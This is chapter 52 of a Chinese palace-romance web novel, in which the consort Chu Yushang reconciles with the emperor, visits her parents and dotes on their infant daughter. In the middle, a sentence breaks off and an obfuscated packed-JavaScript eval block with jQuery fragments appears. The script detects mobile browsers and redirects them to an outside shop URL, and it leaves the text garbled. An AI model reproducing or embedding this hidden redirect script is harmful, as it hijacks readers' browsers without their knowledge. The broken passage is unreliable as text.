52. 第 52 章

作品:《宫斗成宠妃(重生)

    微风拂面,楚玉裳上看看,下看看,就是不去看萧元恪。


    连偷瞄都没有。


    她的脸颊有些发烫,浑身的血液都热了起来。


    楚玉裳呆住了,萧元恪又何尝不是呢。


    不愿回想的事对萧元恪来说不多,这却算一件,无他,太丢脸了。


    京河仿佛倒影出了他当日的刻薄、愕然,与无能狂怒。


    但也留住了楚玉裳那日轻盈灵动,巧笑倩兮的模样。


    现在回想起还恍若昨日,记忆犹新。


    萧元恪看向楚玉裳,欲抬手道:“这里……”


    楚玉裳心一横,认命道:“对不起,我知道错了。”


    “都怪我当时太轻狂,这样胡乱得罪人。若那之后知道得罪的是贵人,必然要让您打一顿消消气才好,也好让我长一长记性,免得日后再犯浑。”


    “且如果您只是普通举子,我也不该那样干。”


    诚然,楚玉裳可以拉起萧元恪就走,插科打诨敷衍过此事。


    萧元恪也应该不会和她计较。


    但这就显得太轻浮,太不重视人了,且方才萧元恪还觉得她对他不如她对许宝容。


    若楚玉裳是皇帝,绝不会接受这种态度。


    当下不说,过后难免会觉得不喜,如鲠在喉。


    不过坦诚相待亦有风险,也许萧元恪压根不想回忆起这件事,只想和她默契地当作什么都没发生过。


    她这样草草开口,反而会引得萧元恪拂袖离开。


    但后者却是楚玉裳可以承担起的,毕竟他们有一个可爱的女儿在。也不用因为这件事再提心吊胆,罚过叱过,反倒让人更安心。


    楚玉裳的头越埋越低:“虽然事情过去了这么久,但您想怎么罚我都行……我最会绣东西了,让我绣什么都成,再不推脱了。”


    萧元恪用手掌托住楚玉裳下巴,往上抬道:“别低头。”


    她都已经开始称呼他为您了,这般恭敬倒像是诚心悔过。


    楚玉裳抬头,小心翼翼地看了他一眼,眼波如水,明净含光,凝视过来,清浅的眸光里是深深的懊悔。


    脸颊上的热意像是淡淡胭脂。


    整个人都透着香味。


    萧元恪心情微微一荡,脱口而出道:“小玉愈发漂亮了。”


    从前好看,现在更好看。


    楚玉裳一愣,抬手探了探自己的额头,又去摸萧元恪的。


    萧元恪拉住她的手:“不怪你,此事事出有因,我也有错。”


    他其实也理不直气也不壮。


    至于惩罚,其实楚玉裳入宫为妃,便已经是这件事的惩罚了。


    他实在算不得什么好人,但也不会仗着楚玉裳什么都不知道,再讨要好处。


    虽然他很想楚玉裳给他绣贴身衣物就是了。


    说着,萧元恪伸出手摘下楚玉裳发丝间的桃花瓣:“我想说的是,这里有花。”


    楚玉裳脸颊绯红,比方才还要烫得厉害。


    萧元恪才说两个字,她就把大招全使出来了。


    失策失策。


    她傻傻问:“为什么要说我漂亮。”


    萧元恪回忆道:“因为我觉得我见你第一眼就色迷心窍了。”


    不然,实在说不通他为何不立刻降罪,反而要大费周章将人弄进宫来,选秀做嫔妃。


    又为何心心念念着要报复,却在睡了一次后再也想不起来这茬了,睁一只眼闭一只眼地宠着,甚至是乐在其中。


    以至于偏袒到母后都能察觉出来。


    想来想去,唯有第一次见过后,就将人惦念上了最为准确。


    只不过最初不承认罢了。


    这般,可不就是见色起意。


    楚玉裳万万没想到会是这个答案。


    色迷心窍这个词轻佻了些,但若换成一见钟情,就不一样了。


    但萧元恪大抵不会说一见钟情,不然岂不是让她吃准了,拿住了?


    当皇帝的,大多高傲。


    楚玉裳有了丝明悟,笑道:“怪不得皇上面对臣妾总色令智昏。”


    回望她的一路晋封,仍会让人觉得不可思议。


    从偏僻宫室的一个宝林,到关雎宫的云昭容,她只用了一年时间。


    且生的女儿,也被封镇国公主。


    放眼后宫,都找不出来更夸张的了。


    萧元恪见楚玉裳放松了下来,便明白她还是看出来了,他问:“那你对我呢?”


    楚玉裳没法再回避:“我会好好爱皇上的,若是哪里做得不对,还望皇上海涵。”


    萧元恪有些失望。


    不过她虽不通情爱,但却有进取的心,也算不得无可救药。


    楚玉裳又看了萧元恪数眼,笑吟吟道:“其实我对皇上好像也是见色起意。”


    萧元恪想到了第一次侍寝,楚玉裳让他无法拒绝的热情,诚然有暖香的作用,但更多得,恐怕是对他这个皇上的满意。


    萧元恪唇角翘起,心中的郁闷散了。


    楚玉裳拉住萧元恪:“夫君眼光好,帮妾身挑些绢花吧。”


    一句话,又将萧元恪给哄好了。


    逛铺子的同时,楚玉裳有些沮丧,这次见母亲的时间还是太短,甚至没有远远看父亲一面。


    下午,楚玉裳和萧元恪登上马车,她心中盘算着,这是该回行宫了。


    却不成想,马车在茶楼停了下来。


    楚玉裳一头雾水将手放在萧元恪掌心,被他扶下来。


    进入茶楼,楚玉裳心中有些猜测,但又不敢确定,直至一路上二楼,推开雅间的门,茶客们的声音小了下来,早已候着的人映入眼帘。


    她的心也落了地。


    正是楚成文和许宝容。


    楚玉裳险些落泪道:“爹、娘。”


    楚成文和许宝容亦满是激动,但皇上在旁边,他们还是没有太过失态。


    尤其许宝容两个时辰前还见过女儿。


    一家三口在一起,能聊的可太多了。


    一番吃茶闲谈后,楚玉裳周身都飘起了淡淡的幸福感,唇角都没落下来过。


    萧元恪也很争气,没露任何不虞,神情淡淡,若非在这里的是皇上,换个人,楚成文都能将人给忽略了。


    虽最后只呆了两刻钟,但楚玉裳已经很满意了。


    回行宫的路上她一个没克制住,将她幼时发生的趣事抖落得一干二净。


    待对上萧元恪饶有兴味地眼睛,楚玉裳才后知后觉自己说了什么,兀自不好意思起来。


    他们在行宫又待了两天,是第五天启程回宫。


    回到皇宫,楚玉裳只在关雎宫稍微歇息了一下,就去太后宫中,看望含真。


    楚玉裳到慈宁宫不久,含真就醒了,奶娘喂了奶,将含真抱了出来。


    太后道:“云昭容这几日都没见到含真,必是十分想念,将小公主抱给云昭容吧。”


    奶娘放弃了将小公主放到摇篮里的打算,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304365|196651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小心放进了楚玉裳怀里。


    楚玉裳笑容柔软:“臣妾多谢太后娘娘。”


    含真听到熟悉的声音,扭头找起来,看清人后,顿了两秒,哇一声哭了起来。


    边哭边抱楚玉裳,窝在她怀里。


    楚玉裳怜惜得厉害,泪水在眼眶打转,忙拭去,轻拍着哄。


    在关雎宫,她就常抱含真,有时含真得她陪着才能安睡,如此母女怎能不亲?


    过了一会儿,含真便消停了下来,乖乖呆在楚玉裳怀里。


    楚玉裳这才不好意思地朝太后笑了笑。


    太后道:“含真依赖你,说明你往日待公主尽心尽力,这没什么不好,做公主的,得母妃娇惯一些没什么。”


    “得太后娘娘这一句话,臣妾就放心了,含真乖巧,不怕娇惯。”


    正说着,便有太监禀报皇上来了。


    萧元恪进入殿内,快步上前请安:“儿臣参见母后,给母后请安,母后千岁千岁千千岁。”


    太后了然:“也是来看小公主的?”


    萧元恪道:“云昭容在这儿,朕来看看她们母女。”


    楚玉裳正要行礼,被萧元恪扶住了胳膊:“你还抱着含真,不必多礼。”


    “让朕来抱吧,含真已经有些压胳膊了。”


    楚玉裳温婉道:“臣妾哪里就弱不禁风了。”


    说着,她将含真递给了萧元恪。


    萧元恪常抱含真,含真也是不认生的,见母妃还在旁边,也没有闹,只是目光一直跟着母妃走。


    太后见皇帝抱子的姿势熟练,与云昭容生产那日相比,已是天上地下。


    不由纳罕问:“皇上常抱含真?”


    萧元恪理所当然道:“母后,这是朕的长女,朕该多抱抱,不然等含真长大,再往后,朕就只能抱含真的孩子了。”


    太后一直以来觉得自己还算宠含真,但眼见着云昭容和皇上对含真的态度,这才发现,她才哪儿到哪儿。


    公主娇惯些没错,但当父皇的,和当母妃的都是如出一辙的娇宠,这可不好。


    太后隐隐有种预感,也许日后教导含真,还得看她。


    真是两个不成器的父母。


    楚玉裳浅笑看着,她的第二子不争气,日后大抵是争不到什么,那她不如牢牢坐稳宠妃的位置,让公主最得皇上喜爱。


    毕竟萧元恪注重养生,他可有得活。


    含真有亲爹庇护,必然福泽深厚。


    楚玉裳将含真接回关雎宫,萧元恪也跟着过来了。


    小孩觉多,含真没多久就又喝奶睡着了。


    萧元恪道:“舟车劳顿,想必都累了,我们也躺在含真身边睡会儿吧。”


    楚玉裳点头,将含真放在床榻最里,她睡中间,萧元恪则躺在她身边。


    萧元恪一侧头,便看见母女二人恬静睡颜。


    看了一会儿,他才反应过来,他一直在笑。


    时光一晃就是半个月,二月中旬,前朝忽然传来消息,要和北方蛮夷打仗了。


    本朝版图很大,周边都是些番邦小国。


    这件事和后宫没什么关系,但却与楚玉裳有关。


    毕竟楚玉婵的丈夫就是这次受召出征的,仗打了半年凯旋而归,因功劳大,被封为了将军。


    楚玉婵也成了将军夫人。


    对楚玉裳来说,这是件喜事,一来堂姐赌赢了,有了个好归宿,二来楚家有了一大助力,在朝堂上不再被段家压得死死的。